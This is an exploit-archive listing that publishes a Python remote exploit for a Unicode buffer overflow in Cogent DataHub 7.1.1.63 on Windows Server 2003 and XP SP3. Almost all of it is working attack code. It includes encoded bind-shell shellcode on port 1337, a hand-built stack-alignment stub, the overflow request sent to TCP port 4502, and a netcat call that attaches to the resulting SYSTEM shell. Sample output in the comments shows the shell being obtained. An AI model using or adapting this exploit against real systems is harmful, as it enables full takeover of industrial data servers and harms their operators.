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Cogent Datahub 7.1.1.63 Buffer Overflow

🗓️ 22 Sep 2011 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

Cogent Datahub 7.1.1.63 Remote Unicode Buffer Overflow Exploit for Windows Server 2003 & XP SP

Code
`#!/usr/bin/python  
#  
# Cogent Datahub <= v7.1.1.63 Remote Unicode Buffer Overflow Exploit  
# tested on:  
# - windows server 2003  
# - windows XP sp3  
# questions >> @net__ninja || @luigi_auriemma  
# example usage:  
# [mr_me@neptune cognet]$ ./cognet_overflow.py 192.168.114.130  
#  
# -----------------------------------------------------  
# ------ Cogent Datahub Unicode Overflow Exploit ------  
# ------------- Found by Luigi Auriemma ---------------  
# --------- SYSTEM exploit by Steven Seeley -----------  
#  
# (+) Sending overflow...  
# (+) Getting shell..  
# Connection to 192.168.114.130 1337 port [tcp/menandmice-dns] succeeded!  
# Microsoft Windows [Version 5.2.3790]  
# (C) Copyright 1985-2003 Microsoft Corp.  
#  
# C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster>whoami  
# whoami  
# nt authority\system  
#  
# C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster>  
  
import socket,time,sys,os  
  
# bindshell on port 1337  
shellcodez = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQA"  
"IAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1"  
"111AIAJQI1AYAZBABABABAB30APB944JBKLQZJKPMK8JYKOKOKOQPTK"  
"2LMTMTDKOUOLTKCLKUT8M1JOTKPOLXTKQOMPM1JKOY4KNTTKM1JNNQ9"  
"04Y6LU4I0D4M77QHJLMKQ92ZKL4OK0TMTO8BUIUTK1OO4KQZK1VDKLL"  
"PKTKQOMLM1ZKM3NLTKU9RLMTMLQQ7SNQ9KQTTK0CNP4KOPLL4KRPMLV"  
"M4KOPLHQN384NPNLNJLPPKOJ6QVPSQVQX03OBRHT7RSNR1OB4KO8PBH"  
"XKZMKLOKR0KOHVQOU9YU1VE1JMM8KRB5QZLBKOXPBH8YM9JUFMQGKOZ"  
"6PSPSR30SQCPC23PCPSKOXPC6RHKUP936PSSYYQV5QX5TMJ40GWPWKO"  
"8VRJLPR1R5KOHPQXG4VMNNIY0WKOZ6QC25KOXPBH9U19U6OY27KO9FP"  
"PR4R41EKOXPUC1X9W49GVRYPWKO8V0UKOXP1VQZRD2FQXQSBMU9YUQZ"  
"0PPYNI8LTI9W2J14U9K201GPKCUZKNORNMKNPBNL63TM2ZNXVKFK6KQ"  
"XBRKNVSN6KOT5Q4KOIFQK0WB2PQ0Q0Q1ZM1PQR1PUR1KOXPRHVMJ9KU"  
"8NQCKOHVQZKOKO07KOZ0DK0WKLTCWTRDKOHV0RKO8P38JPTJKTQOR3K"  
"O8VKO8PKZA")  
  
align= ""  
align += "\x54" # push esp  
align += "\x6f"  
align += "\x58" # pop eax  
align += "\x6f"  
align += "\x05\x6f\x11" # add eax,11006f00   
align += "\x6f"   
align += "\x2d\x37\x01" # sub eax,01003700  
align += "\x6f"  
align += "\x2d\x37\x10" # sub eax,11003700  
align += "\x6f"  
align += "\x50" # push eax  
align += "\x6f"  
align += "\x48" # dec eax  
align += "\x6f"  
align += "\x48" # dec eax  
align += "\x6f"  
align += "\x55" # push ebp  
align += "\x6f"  
align += "\x59" # pop ecx  
align += "\x08" # add [eax],cl (carve a 'RETN' onto the stack)  
align += "\x6f"  
align += "\x40" # inc eax  
align += "\x6f"  
align += "\x40" # inc eax  
align += "\x6f\x41" * (48) # inc ecx (will not effect to our payload)  
align += "\x6f"  
align += "\x62" # becomes our carved RETN on the stack (0x61+0x62=0xc3)  
  
request = "(domain \""  
request += "\x61" * 1019  
request += "\x7f\x55" # jmp esp 0x0055007f  
request += align  
request += shellcodez  
request += "\")\r\n"  
  
def banner():  
banner = "\n-----------------------------------------------------\n"  
banner += "------ Cogent Datahub Unicode Overflow Exploit ------\n"  
banner += "------------- Found by Luigi Auriemma ---------------\n"  
banner += "--------- SYSTEM exploit by Steven Seeley -----------\n"  
return banner  
  
if len(sys.argv) < 2:  
print banner()  
print "(-) Usage: %s <target addr> " % sys.argv[0]  
sys.exit(0)  
  
target = sys.argv[1]  
print banner()  
  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
try:  
s.connect((target,4502))  
except:  
print "[-] Connection to %s failed! % (target)"  
sys.exit(0)  
  
print "(+) Sending overflow..."  
s.send(request)  
s.recv(1024)  
# wait for the target, sheesh.  
time.sleep(2)  
print "(+) Getting shell.."  
os.system("nc -vv %s 1337" % target)  
s.close()  
`

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